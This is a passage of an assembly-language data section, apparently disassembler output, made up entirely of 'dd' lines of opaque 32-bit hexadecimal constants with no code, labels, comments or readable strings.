		dd 71BCF55h, 0D3CE2D07h, 66DEA0A4h, 0A82AA695h,	0DF4984Dh
		dd 5C2BE824h, 0D0C05602h, 91E497B8h, 488B8054h,	1D723FB1h
		dd 5DAB5F4h, 699DFF5h, 3158AB34h, 92C5D600h, 42ECA63Fh
		dd 0C66002A1h, 9F259CA8h, 25ACCC87h, 22CAC0E6h,	3B00C0E1h
		dd 0AE1DB5A0h, 0A4FCBE8h, 79BF24DAh, 5A4E00D0h,	50D62820h
		dd 80D8A939h, 0B37334C0h, 50825799h, 935CC9FCh,	0EAAE0120h
		dd 18BEC846h, 960C8879h, 0D3FDEA00h, 77BCFF5h, 35573BD8h
		dd 0A3C140B0h, 9C34AB48h, 484BC85h, 612E1D87h, 73088720h
		dd 10420830h, 1C3E34F5h, 3AC8E5A6h, 0FE148EA4h,	9E11C920h
		dd 0E200754Dh, 0FBAF0251h, 9439A34h, 9DFD2555h,	0FC43AC2Eh
		dd 0F06277CAh, 3A90D78h, 9822B7F3h, 0BDC20244h,	7CFCBFEEh
		dd 0DEE4F888h, 4CAE193Fh, 0C7D80024h, 0D314C04Dh, 0B1AF24EBh
		dd 93467448h, 0B41AE300h, 19F1F32Fh, 0B4E5F524h, 0A6A20700h
		dd 0D04167A1h, 5823D480h, 7AEAAA01h, 700E9EC8h,	35EA9200h
		dd 0F2A3BF60h, 59F9126Ch, 493C4246h, 0F86C9543h, 553F2570h
		dd 916621ABh, 3D6E1C3Ah, 7DC3C500h, 0CC6A681h, 2E2C53E0h
		dd 842AA921h, 427CBC75h, 0C8A1BF74h, 570229Ah, 0E94D5C8h
		dd 5CF814h, 26730C2Dh, 16AB3A81h, 436DF413h, 0C1BEA51Ch
		dd 167F023h, 0C87BEAABh, 20E61986h, 8EA9303h, 92FE6D02h
		dd 0A759A8D5h, 0F40064DCh, 19685CCh, 8AC4382Fh,	207EA8E7h
		dd 2B501644h, 48C31DCh,	20A88E7Ah, 209E6270h, 0F18E7269h
		dd 1A9D980Ch, 8C3E40ABh, 0AF8E790Bh, 0CC3C20h, 4D5C6D3Fh
		dd 0E0744553h, 0D922A418h, 34ACA690h, 3AC04263h, 3A792384h
		dd 65DEBD80h, 0F0283C2Ch, 0ABD450E9h, 9D4019E4h, 23E839C0h
		dd 1622480h, 0FB72975Ah, 0C97CC5E4h, 0E88C30D0h, 1D018C91h
		dd 5DC9542Ch, 0B860A6B0h, 0D13891D0h, 7F84183Eh, 0E8350733h
		dd 3CC7722Fh, 0A42C5769h, 3C28E852h, 2E798D20h,	2864F4DAh
		dd 0C20E63Ch, 67A31C4Ch, 7654CC10h, 3700DD90h, 11A1BE89h
		dd 0E549A5Ch, 26458883h, 38C0FEEAh, 9CE27C52h, 1ACA2230h
		dd 685B1F66h, 2187A406h, 28AAA62Ch, 1608F561h, 0CCA5C003h
		dd 708C94C0h, 0AB561522h, 3D8890C7h, 3A6D8Eh, 0DB2BA605h
		dd 72E40822h, 2082ADDDh, 4042D49Fh, 2E07F670h, 7414FC22h
		dd 94007A46h, 0ED1AF9DBh, 3CBA05CCh, 54D05609h,	72A084DDh
		dd 39E15160h, 115BDA23h, 59810355h, 0A8BC89E1h,	0B9B883A9h
		dd 186979B4h, 0ABA20B5Ch, 402A58Fh, 0B8AECE35h,	232A48FFh
		dd 38DF263Ch, 23FCC08h,	54C4E728h, 21B38885h, 1461C6D0h
		dd 9323F83Ah, 8DD4F905h, 58540F96h, 59026420h, 7DA72C43h
		dd 0EC043C42h, 12DC6693h, 8C0FAB5Fh, 64883FACh,	59ACE033h
		dd 0B68790F7h, 406F65BEh, 64274AE8h, 0CC70F5C8h, 0E72A20C1h
		dd 0F046610h, 32122B84h, 3931912Ch, 72A151C1h, 31624340h
		dd 0CEB1A980h, 38C00D10h, 0CF12A44Ch, 0C0909ED7h, 0BAEBA232h
		dd 962C1218h, 688405A5h, 6070100Bh, 36DA2319h, 78A04641h
		dd 0EA54644h, 0A22D4EF0h, 0C7780432h, 0B7C45F61h, 74149D3Ch
		dd 0AC015E23h, 0CEC844EAh, 940A030Eh, 986B1DEAh, 0C14C9BCCh
		dd 0B648F619h, 0A2C033C2h, 4748317Fh, 371734A0h, 3A06ACD4h
		dd 490BB9A3h, 87589B6Bh, 97408966h, 0A0669AFCh,	866FA8E8h
		dd 114C8321h, 2268E90h,	3127AB52h, 0AF61133Eh, 0AE935E00h
		dd 472C1441h, 127DAC74h, 0D7A3E1F4h, 5FC7B84Ch,	6BDA3BE1h
		dd 83885618h, 28E10167h, 0ECAF206Eh, 8AA88065h,	91582B41h
		dd 0B6A62C86h, 78ED61FCh, 23280103h, 5C1013F4h,	0B11CA030h
		dd 7B4700ECh, 281CD349h, 534F6301h, 0B910FDDEh,	6AF23032h
		dd 1BD07431h, 2A61F67Dh, 2842DC0h, 85B2E8ADh, 3C608CFCh
		dd 0C513F4DFh, 48922808h, 8E46303Dh, 5020AC17h,	6D0038h
		dd 25848E7Eh, 67D31BDBh, 801CCB48h, 0FE232D63h,	2FD24AF7h
		dd 19B2308h, 0E8BF2012h, 24942867h, 504C24D5h, 47058C3Ch
		dd 4820AD8Eh, 6C0034CEh, 18368E7Fh, 0C5068A56h,	0D9ED5D09h
		dd 4114896h, 0ACA804A1h, 9C06E839h, 2219A0D5h, 24062068h
		dd 874F61Eh, 44C4A490h,	2606225Eh, 765CDDF5h, 0AF780D20h
		dd 15C87B08h, 8B035F8h,	0A9C059ACh, 46C879EAh, 17C2296h
		dd 53EA9101h, 0E1B8D863h, 73E442A1h, 500E104Ch,	0B1DA38E1h
		dd 8200E29Ch, 0ED16E158h, 7B1B2325h, 778326DEh,	3E467CD4h
		dd 2E8A6100h, 4992FC7Ah, 40ED48C1h, 0FF039CFh, 28C030A3h
		dd 46235831h, 4CFD4B07h, 0DED0F602h, 0C032CFFFh, 0F8F5DB21h
		dd 8600A7E6h, 59F6084Ch, 4726C2h, 33B10CD6h, 2D18DE76h
		dd 4300449Ch, 0F4E241C0h, 28EEF8h, 443589CEh, 0AB818A75h
		dd 0CADC1803h, 5C127E5h, 14BA3410h, 23742E78h, 0D7FB0007h
		dd 5540F44Eh, 0DEE3B0Fh, 4F60217h, 914C4406h, 1879D1BCh
		dd 45A13821h, 0ED2119Ch, 4AEF9DA6h, 5EE0AFE2h, 0DC81C40h
		dd 68C0D390h, 728DA34Dh, 4458985Ch, 0C8F4CB5Fh,	92F43C07h
		dd 1C2F78Bh, 0C0E0627Ah, 7674FA0h, 435EA94Dh, 8A14241Ch
		dd 5A95067Ch, 9949CBh, 45265057h, 7ACF8E8Ah, 9B55C1F5h
		dd 8A714110h, 0B8BAE258h, 0A0DE728Ch, 62ACA610h, 45AB1978h
		dd 9A07A720h, 0C0DD1819h, 67D0392Ah, 1A2F000h, 94DA56F3h
		dd 0F7580525h, 8DCCCF34h, 88744BB8h, 9566C057h,	48289F22h
		dd 2505A472h, 69AEF4D8h, 65958021h, 1CC6C004h, 8B40AB2h
		dd 467488A4h, 0C0F70C9Bh, 0F023D933h, 0ADC60042h, 83E439FEh
		dd 75011AFAh, 1D73DDCAh, 72F2A125h, 0A838A0F8h,	0C601003Bh
		dd 0DE96A37Dh, 0BF2965FBh, 5C85D4B6h, 0C40FD2F6h, 9689A40Ch
		dd 0BDCBB0DBh, 0F4724430h, 7B4010F3h, 201D0522h, 9792887h
		dd 0A014C09Ch, 465694B4h, 784D0039h, 7C997414h,	96C0EC2Dh
		dd 4C7D80C8h, 0E38EC582h, 35578309h, 92A4E9C9h,	2784EC60h
		dd 0A48AAF3Dh, 66467CB4h, 458CA200h, 0C1A93BEh,	0C7585058h
		dd 0D707E899h, 0C68A051Bh, 8CCC10C8h, 4656949Ch, 9C462855h
		dd 8004CB5Ch, 0F649F94Eh, 0C09C275Ch, 54D71CA0h, 87003D7Ah
		dd 73C7DFF3h, 0EE22A523h
		dd 375C2C31h, 207B4148h, 0A28063D3h, 3108309Dh,	0A5A4CF58h
		dd 9FC8F8CAh, 0D890D7C0h, 0B0011777h, 3674890Ah, 81E50024h
		dd 0C84BD388h, 2CA430C5h, 4322EE70h, 64F97CB1h,	0DFFA2C18h
		dd 0DA0046E8h, 268E0A7Fh, 6742FC40h, 65AB786Fh,	13D88EF1h
		dd 0C93C672h, 0C07CDA6h, 0A0810376h, 29BA42DFh,	72A894FFh
		dd 676480E5h, 0DB1FF60h, 43F9C00h, 236EF58Fh, 0BF22134Fh
		dd 0B648501Ch, 6C32FC3Eh, 0CEA9CC0h, 5B40246Fh,	3950C0Dh
		dd 0B6DF8880h, 0CCC9F6C2h, 20C04014h, 4060AC9Fh, 0C0194E78h
		dd 435013CEh, 96FB09B6h, 0C024E831h, 0D721AB54h, 1C389166h
		dd 0A5003C6Fh, 9C7273F5h, 0D01900D3h, 319A3554h, 2D01E322h
		dd 404EBDC2h, 0B07CAB38h, 0F8C3AFCh, 0E6FE10D9h, 0DFD52340h
		dd 174856FCh, 922184D0h, 6AB2E0A3h, 0BE8DC30h, 0A03EF31h
		dd 6E701402h, 0AFA80409h, 0A0FA4C40h, 800840Fh,	0D2224D53h
		dd 0E1ABDA25h, 0E6BD283Ch, 65FC7A31h, 6E610C98h, 9669993Bh
		dd 90810700h, 6BFB8C14h, 0AA52000Ah, 0B56970BDh, 7CF12FCEh
		dd 784534A8h, 0F8C2049Bh, 0F861A880h, 39FC47B9h, 567204Dh
		dd 83EA801Fh, 227A2CDDh, 0F0859BABh, 0F8603EC4h, 0C0176469h
		dd 0C48B2EF7h, 0DAC064C8h, 1918158h, 0C73054A5h, 4839E620h
		dd 6000FCACh, 0AE52A42Ah, 1D25F8DAh, 4033807Fh,	2094C3C8h
		dd 532CF3B7h, 35475829h, 3BE490C9h, 849C0A6h, 0FBBC9702h
		dd 0D331AC1Fh, 987FECC1h, 0D0C7E112h, 382D7267h, 2526080Dh
		dd 803091D4h, 20A98E7Bh, 5BCCBE68h, 0DC8E73D9h,	3A2C261Dh
		dd 0E900E2FCh, 51A98867h, 4EB700B8h, 83B34C0h, 47F30C72h
		dd 5A79E0h, 0DA09A21Ch,	2CE1E580h, 7FFFE0h, 956A8DB1h
		dd 0E64D94E9h, 824BC52Fh, 479F651Ch, 80F1CE9Ch,	0C1D5A58h
		dd 0F5A41ED8h, 14DD420Eh, 442F9BDh, 3B79D059h, 0EA013C18h
		dd 87F8649Ah, 6EF87185h, 0DA4C1306h, 88E0CB49h,	727EC007h
		dd 0EB01E0E3h, 0D0F0AF83h, 0A1DC8563h, 39D915E4h, 37B9CAEh
		dd 3A9673D1h, 2CC8C35Fh, 0BC9E4BCBh, 8444CE08h,	0A006FC58h
		dd 0C878CB1Ch, 42AB18C6h, 28AE0221h, 6E3B2FD7h,	7A646447h
		dd 0ABC62960h, 0BF45B4Ch, 0E03A7CEDh, 0B448BF14h, 0C220010Ch
		dd 57DA6F4h, 5841F5A1h,	5C38DFCDh, 57A2E843h, 14DF9833h
		dd 587A60A3h, 8D519CA9h, 0C20D1090h, 684023CAh,	39BC9C28h
		dd 9B183A8Ch, 0D96E0102h, 4458F5E3h, 34D25F06h,	989F2CCh
		dd 0ACD1F4C0h, 721AC870h, 4F1874C7h, 64A54074h,	0DA0C3191h
		dd 0D84AF72Ch, 0F5F60B46h, 3CC1309Ch, 0FC231084h, 26ECB679h
		dd 481A08C8h, 30CCED07h, 42C46C27h, 7F2344B2h, 0AFE1540Fh
		dd 6F88D1DAh, 0E15C8680h, 3C04B2C5h, 0A489101Fh, 0F4516A2Dh
		dd 0C4307100h, 0A10FECh, 143BA983h, 0CB5E705Bh,	47433525h
		dd 617C647Ch, 0D36022F3h, 1BDE048Dh, 0BDACD22Ch, 0CC9AD678h
		dd 0C1D71E85h, 2898ECh,	5BC08724h, 233C3B6Bh, 0F232007Ch
		dd 85D1FE53h, 83DFA500h, 258AC21Ah, 9150B842h, 183BD100h
		dd 0FC3E04A4h, 0BC1E9581h, 50492C78h, 7465Eh, 0CED846CCh
		dd 12E4D4F4h, 0F2AEA027h, 0A0952298h, 817A921Ch, 786A2F25h
		dd 4D008C73h, 79F6A81Fh, 4D12293h, 0CC8B46C8h, 0FD088972h
		dd 0EA0030F2h, 8E1C4107h, 2F00BF9h, 0EA4422CFh,	0C18C8BDDh
		dd 105E6020h, 5F44C0ADh, 23B83B4Fh, 0E73C043Eh,	0CEDC81D5h
		dd 0BC807CD3h, 865C8C57h, 7E9610E4h, 0ED0C016h,	53603F24h
		dd 5EABFBFDh, 4DB931C7h, 0C33A03C0h, 0FAEC01CDh, 0AD30E607h
		dd 186C6DF1h, 5E505AA9h, 8EC08348h, 80A8A13Ah, 40011C9Fh
		dd 8D66CEC1h, 0E071D2E9h, 412F9502h, 0AD185D58h, 0C845EA08h
		dd 407DC4B6h, 0A1EA950Dh, 80D3050Bh, 11626887h,	4D8EB8ACh
		dd 0ECE5A1CBh, 0F06057E4h, 4D01DF7Fh, 741A37F6h, 0DC609133h
		dd 3A6F20Bh, 51AD3113h,	6023FE7Ch, 0E156017Dh, 2833DA22h
		dd 5E84B078h, 799707E1h, 481E26C5h, 7B685C09h, 1890AD44h
		dd 950E9A35h, 81190B77h, 59BCBF20h, 4C253087h, 2C5AD91Ch
		dd 564944h, 0E4A0FA76h,	0A6D34BF3h, 94553916h, 54234C3Bh
		dd 942FE09h, 8CDC0213h,	53CD022Dh, 7C79C859h, 0B2040E18h
		dd 745714D9h, 1C413C89h, 18007FAAh, 2A185C20h, 4E3841F5h
		dd 0DCF20F85h, 3A769D34h, 3D902344h, 17B87502h,	0E0E03612h
		dd 0EC062D04h, 34F40DC8h, 3064A6D0h, 0A7B174CBh, 85001DB9h
		dd 0C0BB0944h, 7B20C93Dh, 0EADF123Bh, 23DC2F49h, 7DC3093Fh
		dd 0AB0DC82h, 0BE947809h, 6F465E64h, 0BB279100h, 7E4EE986h
		dd 0A2A5C900h, 0F5CCAABFh, 39D49E95h, 93B5A31Dh, 0EC0A11Eh
		dd 0C79F88A0h, 6B180D4h, 0FC2C8255h, 4674C03Bh,	1CDD036Eh
		dd 0E0AFAA28h, 988F02Ah, 5E9DA62Fh, 0CB34B800h,	0F0B1A815h
		dd 471869F1h, 26BBC70Fh, 23630150h, 92F5184h, 344B0A30h
		dd 0C7537004h, 10A623E8h, 317162E0h, 0FCABA609h, 8874E0A5h
		dd 0CD341AD0h, 3867C1B5h, 44606E44h, 0B000F8BBh, 9E3C11C1h
		dd 2F4D4172h, 3097B8A8h, 34805491h, 0AB8D8878h,	84982095h
		dd 83DAA5h, 0E75FECB4h,	0F94D37A0h, 773B9600h, 7BCBD4B7h
		dd 22532D5Bh, 25741420h, 0E206BDADh, 0FC2B5C4Fh, 0DC54BC19h
		dd 0A6E3201Eh, 0A88E465h, 81E59CABh, 0F2A813A4h, 3194F2C8h
		dd 0A9DA204Ah, 1DC2F303h, 0B84CB2EDh, 0C49AFD9Ch, 0BCEA7858h
		dd 8C39BCFCh, 7610AA00h, 27F17AD1h, 40A4BEDBh, 46A1EB98h
		dd 0E600C47Ah, 7F911681h, 834BACA6h, 0F472C806h, 13E87866h
		dd 0C0770446h, 102D5C68h, 700149D2h, 3DCBA28Ch,	681739A7h
		dd 0A9806491h, 36050211h, 0D9AFEE00h, 0FC67F5E9h, 0B08B6C6h
		dd 581D83A9h, 67806F11h, 95141158h, 0A5071300h,	0E5A697EEh
		dd 22AC0051h, 802AF6E1h, 5D4A60E7h, 0D4C5C0C2h,	0AB3E82B0h
		dd 3C675202h, 0F609444h, 0E5013112h, 95EB68A4h,	0CC64FB04h
		dd 1CE45C22h, 8C66E8h, 4FA1F621h, 0D8E25A5Fh, 3021344Eh
		dd 81AC295Ch, 32F600A8h, 0CD84A355h, 1344249Ah,	172C255Ch
		dd 3DC46CE7h, 0C9157561h, 5DD03051h, 259C800Ah,	0A50534CDh
		dd 8D9D322h, 92BC6438h,	93FC188Ch, 884E9C77h, 0F50D0403h
		dd 0CB53EED4h, 80FDCCE7h, 3864D508h, 0C0AF0C3Eh, 71F31856h
		dd 9CA80DDFh, 0F4988031h, 6E27A2F4h, 7B102487h,	18EC5CE9h
		dd 0F503B17Fh, 0FBC42713h, 3AEFB023h, 0CB6009B8h, 54DA40DEh
		dd 2513C020h, 0C497C523h, 93806791h, 99D49551h,	0A1016C00h
		dd 0C70C728Ch, 1B5A184Dh, 70C6D0ABh, 1282240h, 0CEB41DEEh
		dd 0E34C165Bh, 0BDA8D0F7h, 0ED09F406h, 710AD23Fh, 1891D1D8h
		dd 29E90065h, 0FDD393EBh, 0F88350ABh, 0CED1A2h,	625A2A47h
		dd 25CA2F69h, 0F3727901h, 0E5F42186h, 844DC841h, 0B0BFAD00h
		dd 16280DDh, 7763FE1Fh,	0EC33FF5Dh, 0A5E84655h,	5EF3F500h
		dd 0A7E64DD7h, 254B1553h, 9773901Dh, 68917097h,	0C76AF0D3h
		dd 2EABFF06h, 1C2153A8h, 13EE7CD3h, 1098007Ah, 0F9E34D6Dh
		dd 0E418FC02h, 718CDA2Fh, 7C95AD80h, 0AD803D91h, 2260E83Bh
		dd 0E804E04Ch, 4B008C64h, 0FB94372Eh, 56CADB8h,	0A81E484Dh
		dd 0C840CEC9h, 1529C256h, 92440847h, 0D43BE960h, 0AE651C00h
		dd 26A6815Eh, 863FF2Fh,	593066F2h, 0A6B20B93h, 0E90072B8h
		dd 0AB06CEDCh, 3BC3797h, 747E4248h, 239380F4h, 0DCBE6DC8h
		dd 3A0EE291h, 42D6FCD8h, 0DF446ECh, 0CDA7C05Eh,	0C8A0C064h
		dd 0D9CF4C9Bh, 0FE8F7F85h
		dd 49CE2434h, 75AC40EDh, 22EC9461h, 74706F78h, 0C19B60A1h
		dd 2377F572h, 201A451Fh, 0CE199319h, 3FF37121h,	1E89A948h
		dd 0C405EA03h, 3D58A159h, 3BADB8F8h, 4A2014D9h,	39890901h
		dd 4342DF1Dh, 9EA28473h, 97AA030h, 0E8DFDB01h, 3CE45065h
		dd 7409B460h, 0A90D6A00h, 4FD40C51h, 0C2B92418h, 93306048h
		dd 379F4656h, 233B0948h, 77761402h, 1000CC05h, 25F445B6h
		dd 0FE3F41Fh, 16E5220Bh, 3B1A54A0h, 15008C73h, 49F6ADCEh
		dd 27C84355h, 6070DDh, 0A04FAF24h, 103D5483h, 48651260h
		dd 0C4A32580h, 0DADD1F74h, 0CB9907A5h, 1931C69Fh, 3FCF5000h
		dd 6BDCAC3Ch, 0CB0A037Dh, 0E921BFE2h, 0B524CAE0h, 0A620A138h
		dd 0E774986Fh, 2C042018h, 39840EFEh, 0F048D8C8h, 606501F6h
		dd 8D6407Bh, 2C982213h,	34400CA8h, 39AF1A9Fh, 10803BDEh
		dd 0B6362DB3h, 9D0AE278h, 0F8D8137Ch, 0D62CDE00h, 0B4AD9B5Fh
		dd 3B465E2Ch, 0A8064100h, 1EC17AE0h, 60BCF63Ch,	4CE42A90h
		dd 5C2094B9h, 1726846h,	0B2F31369h, 0FD72470Dh,	202C430Eh
		dd 825FD027h, 2490D8E0h, 339CE4C0h, 8D127C00h, 0ABB4D0D9h
		dd 0B2130241h, 6041094h, 40D4FF61h, 913373ACh, 7EADA612h
		dd 5CA82846h, 0A9960089h, 0EE31390Fh, 15005B3Ah, 3227CA53h
		dd 910356Ah, 3B79B8D8h,	2D062858h, 1B30D6C2h, 9A4A5BF0h
		dd 0EEFBC018h, 24FCDFB9h, 4447CB6h, 0CCE99C21h,	85F01318h
		dd 4C108B60h, 967B0F1Ch, 8A898888h, 0E8C8DE17h,	67BF0625h
		dd 28101EF4h, 3920CDF0h, 0F8926EAFh, 0EDC80591h, 0B00107E8h
		dd 5A81CB55h, 5BB1947Ch, 186D0936h, 0F4395BA8h,	4977E47h
		dd 6C860B9Ch, 7990BCB9h, 99DA1347h, 20821333h, 8F01E4A9h
		dd 5B6B74F9h, 0D2D65044h, 0A265270Bh, 335504F9h, 0D0E92895h
		dd 57002DB8h, 9A98CA78h, 50F8C645h, 4A9DD001h, 30884283h
		dd 0A2119B5Eh, 9978DF17h, 0FB1FBAA3h, 446A12Fh,	0B531312Ch
		dd 841310A0h, 50C58891h, 0B8F3513Ah, 4B3093E2h,	4AAC3A9Eh
		dd 8C342A00h, 7EAEEEBCh, 43F43050h, 0F6309Ch, 8CF96766h
		dd 0B55A112h, 70CDA624h, 3B694208h, 3E3CF424h, 0E4F420C0h
		dd 5CC0604Eh, 0D825B667h, 69D81880h, 1708F082h,	13468EDDh
		dd 0F7451624h, 4462A034h, 10D014Fh, 0BEB607C4h,	24122FC0h
		dd 7DF274F2h, 3177A833h, 64C4F2A0h, 0CC334858h,	0C60BE610h
		dd 22DB3A4Eh, 44AFA68Ch, 0DE6808C0h, 71E3CE0h, 0E8B2AD0Ah
		dd 19E4674h, 0C367580Eh, 1980A539h, 64F8B8C0h, 832C5EFAh
		dd 5A1D11AFh, 0E13199CEh, 0C4E7A0B1h, 0B0E8BC55h, 0DF6430Eh
		dd 2290090Ch, 6A08AF19h, 0C4EA2020h, 0E54D0244h, 0E122102Ch
		dd 0D4703853h, 7A830052h, 0D78D5056h, 31068234h, 6D80E722h
		dd 943AE870h, 3C467440h, 2FD273Fh, 0F42B9C7Bh, 0D0F69F81h
		dd 523CFBCBh, 0B9090058h, 4DB8BB08h, 0F4E61F8h,	5462CFh
		dd 4459ABE8h, 909239h, 480E8BAFh, 0DB6B34F3h, 3B3FA50Fh
		dd 0FE4660A0h, 74A94DA2h, 0D0CF4FB6h, 57615B54h, 69960C00h
		dd 0D1842953h, 47160F74h, 46C00986h, 4348AC3Dh,	670068B8h
		dd 0A6A22372h, 24B8513h, 0A9411CCDh, 9852CC5Fh,	0DBFB8100h
		dd 22A45806h, 0A23B01FCh, 2DF4AB1Ah, 0EE3C6590h, 185CD46Ah
		dd 1C384674h, 1540A6C2h, 176ACB54h, 60DB4F14h, 7E1CE728h
		dd 59F69381h, 189C7990h, 0A9863D7Ch, 8B78B52Ch,	28024725h
		dd 5C02B758h, 4E5C8020h, 954F9682h, 0ED286800h,	780DF411h
		dd 885380AFh, 5D68447Eh, 4A941540h, 0C505286Eh,	0F29296CBh
		dd 849800D8h, 71E02BF3h, 9F2215ADh, 992D8058h, 38D13429h
		dd 0E60F70Fh, 12160BCh,	5AD4C9h, 66C23E47h, 0E688B361h
		dd 0DD003077h, 0A92857F8h, 4AD82246h, 0C8A4CBEAh, 0B14FC23Fh
		dd 0F64EC448h, 94162AF3h, 0E3DC0C8Bh, 0F00441Fh, 1503472Fh
		dd 723A09DAh, 0C8C5FC82h, 65637BE4h, 0CB4F5688h, 0FB5490B5h
		dd 8C3704DCh, 4033C0E0h, 6231DF0Ch, 0CE90032Eh,	3A8947FCh
		dd 7A6C0A8h, 0C8464902h, 4136A80Dh, 303C5F40h, 8C07BCh
		dd 0E5D95A48h, 0C10BFFFBh, 0E8DD0F2Fh, 8441B988h, 78447485h
		dd 0C3077361h, 3B506BB9h, 75E59020h, 22A51DF9h,	5924F2h
		dd 34C97F1h, 540ABC8Ah,	8CA81244h, 9E0594Bh, 0ECF12CF0h
		dd 1E60DCF3h, 520FFD44h, 40D727D5h, 619C1182h, 0CC98BFA4h
		dd 417E702Ch, 5F21AA42h, 7EC35ADh, 0D02AEB91h, 3887C856h
		dd 73171B00h, 0BDDE1CC0h, 55B7005Ah, 0F529F74Eh, 1E3E0E87h
		dd 1480AE98h, 9F425C8Bh, 80671164h, 10E7FC25h, 0FF7602C6h
		dd 0C3724288h, 0B74158FEh, 0C80078ECh, 295980C5h, 6CD1269Ch
		dd 0EC502811h, 3D574004h, 3AF44009h, 2638C14Fh,	0FB8083Dh
		dd 14C49258h, 280AC14h,	8EE5885h, 5E00548Eh, 736A46h, 90B0C59Bh
		dd 8C9F8A1Bh, 0CC908BBDh, 20764844h, 8C07FCh, 4B9866A0h
		dd 1AEF157Bh, 0C8F8AC04h, 9AF14DDh, 708BC054h, 3FD918D9h
		dd 0C45BCD19h, 495CF7DFh, 8C3DBC1Ch, 9FEC040Ah,	2E0BAC99h
		dd 258EAA8h, 0F563CE0h,	16A0F503h, 0AEEEB013h, 397AA4A4h
		dd 14DC878Ah, 0C934BE09h, 0FCD8E090h, 9A785E2Fh, 0D4E076ACh
		dd 52630E02h, 0DE39F15Bh, 82CD8178h, 7C9589EDh,	0D977F23Ch
		dd 1839F19Ch, 132D01A7h, 8C32E6B6h, 0C4AED4D5h,	0B0CE545Ah
		dd 23C17DC8h, 9FFC82D5h, 2FEC9454h, 88D35C3Ah, 2864C50h
		dd 3F0A876h, 905D3146h,	0B1873B0h, 783229F2h, 4F08B300h
		dd 14F242C3h, 51E8ED25h, 1417AF50h, 68827F91h, 38FAC648h
		dd 71CC2718h, 76ACFE21h, 446502E6h, 9B225F5h, 0EBA55360h
		dd 1D15CD09h, 402C7660h, 36C1E43Fh, 878E2A00h, 9417681Ch
		dd 22DF0255h, 3CE7A891h, 0ADC248EBh, 4DC04DEh, 594523EDh
		dd 88C4CEDBh, 0D840C09Ch, 0ED18C871h, 56F00414h, 25F8984Eh
		dd 0B04DE823h, 89740CEh, 2C0BB1B5h, 2423E4C3h, 28C61495h
		dd 488C7FB8h, 4070D0A7h, 0A8B87A08h, 0B0A7404Ah, 0CE989EA0h
		dd 8944343Ah, 48AEA62Fh, 1D82D98h, 0A180A8B2h, 7DC034B3h
		dd 2B5C0968h, 0F6304821h, 0CD280048h, 53E6C2C1h, 0BE6793A8h
		dd 0CEC0A428h, 7680B432h, 4C809D87h, 17F8DE40h,	0E3031CB2h
		dd 0C8B6F472h, 1379734Fh, 8136FC40h, 9F75CCA4h,	0D9033819h
		dd 9749DCC1h, 91C75900h, 46C3326Bh, 0BE184EB8h,	0DD5B1F44h
		dd 4966D92Ch, 0C0FD144Ah, 999C0882h, 0AD0644D0h, 6DF23527h
		dd 0E43B4B89h, 7C004A7Ch, 5483FE10h, 0FA64A6B6h, 8AC100F8h
		dd 0D0C7F2AEh, 28B4F534h, 8C67AC8Ah, 65274A09h,	6030E4F0h
		dd 73FCAAE5h, 0CE98D309h, 0C03CC8BCh, 56F72050h, 45D43655h
		dd 0B810B98Ch, 8CE40003h, 7A01FBCCh, 7B5B5F1Ch,	0B61D78D0h
		dd 2C9D9F6Ch, 2D816811h, 0CCB6FBEFh, 2616DFF4h,	0B0D44BF7h
		dd 446BAEh, 644B62EDh, 37BAC2D5h, 0E7C971CAh, 806D17FCh
		dd 9BC1CE72h, 0B9C34D00h, 0B58D3DD6h, 67B70B6Eh, 1CABF635h
		dd 0FA826459h, 5828B3FBh, 0EE420070h, 7501C5Ch,	1F1C2D51h
		dd 89A72622h, 111C9D88h, 0A3BF8066h, 0ADB890Eh,	4DF4706Fh
		dd 5C2340D8h, 8605E0FEh, 688ABEA7h, 0CB4B38F8h,	0C067C8D8h
		dd 0BBECD010h, 89A1D500h, 0DC82B19h, 0E43A4A78h, 6B406CF8h
		dd 1EED0FF4h, 0A6830ABAh, 493A40A9h, 0AADA0247h, 0FE82C1CCh
		dd 42DC8200h, 74EAC0C5h, 1DCAC74h, 808A572Fh, 69B5A634h
		dd 23C00720h, 0B2F77DB6h, 0E4925464h, 0E2E0D2CCh, 0FCC402C2h
		dd 0D8AD9B42h
		dd 3A8CB8E0h, 5304D97h,	0B3236CC5h, 309CB284h, 0A90A82B0h
		dd 807A11E4h, 0FC28A300h, 650EE3Eh, 9CD5F619h, 487E8039h
		dd 8042AE2Dh, 12FC7AF4h, 0A6298011h, 682C532Dh,	20F40BF8h
		dd 0C07695BDh, 9144E72Dh, 811562A4h, 25AACD4h, 0AF54DCA8h
		dd 0C6BD4417h, 0AC741912h, 42B18074h, 0F4B9458Dh, 0F90B00E2h
		dd 2EC2F771h, 8002F1E4h, 0F40DF61Bh, 8AA32005h,	0A202DECAh
		dd 982C0449h, 89E4D944h, 1048CF35h, 67202CDAh, 3CCB2D60h
		dd 78C420C7h, 0CB166560h, 1067C0Fh, 71307F5Ch, 4C0ECCEDh
		dd 977944B4h, 54C48847h, 0AE591167h, 277FDC41h,	0DE2C141Ch
		dd 7A1EF3CBh, 0A2212244h, 0F408B2B5h, 840BD434h, 82917675h
		dd 742FF734h, 9D465E6Ch, 0A00A110Ah, 20A41FD0h,	0C1E0BD27h
		dd 4E101650h, 0B94EBC82h, 72097CE3h, 60D07314h,	1658B458h
		dd 0E8B4CB67h, 659D1C19h, 4BC4C03Ah, 0EDFEB946h, 8A1A8900h
		dd 0C22DB454h, 29420BCDh, 8A0263Ah, 709CB780h, 0DB6970B4h
		dd 0CDA55060h, 0F5A0F700h, 0DC5BE806h, 0ADDF0032h, 0D0CFB3B2h
		dd 0F49C2353h, 0EE684481h, 0B82430C8h, 49D4B35h, 718068h
		dd 0DA6FD985h, 40F0B608h, 5C38E7A0h, 7EC4CA97h,	473273Ch
		dd 2B1F670h, 8351424Dh,	0DCC12AD3h, 80C86C96h, 1A34EF82h
		dd 0DF781204h, 0B738F649h, 2B956CD0h, 17F90D6h,	10E85DEDh
		dd 801534DEh, 58A94DF8h, 94467D7h, 0EB630B2Dh, 3A74F9h
		dd 5F78A166h, 0E0379260h, 0F7550014h, 4ED87DD1h, 4F0E2444h
		dd 0B12F53EFh, 0D0207A0Ah, 9C4674E0h, 12E6D01Eh, 0AAD8D49Dh
		dd 0CCAB1830h, 18876BADh, 4E81D851h, 2E83CC0h, 94EC8C6Ch
		dd 0CB2A008Ch, 95CA5509h, 4001FD5h, 0DFD3CDF2h,	0B57B16F4h
		dd 0F0E5B0A9h, 3E6057E4h, 41FCFCD8h, 32CC99B5h,	609A3511h
		dd 0BB4E9E5Ch, 5523802Fh, 48787400h, 48C1854Eh,	0F413D811h
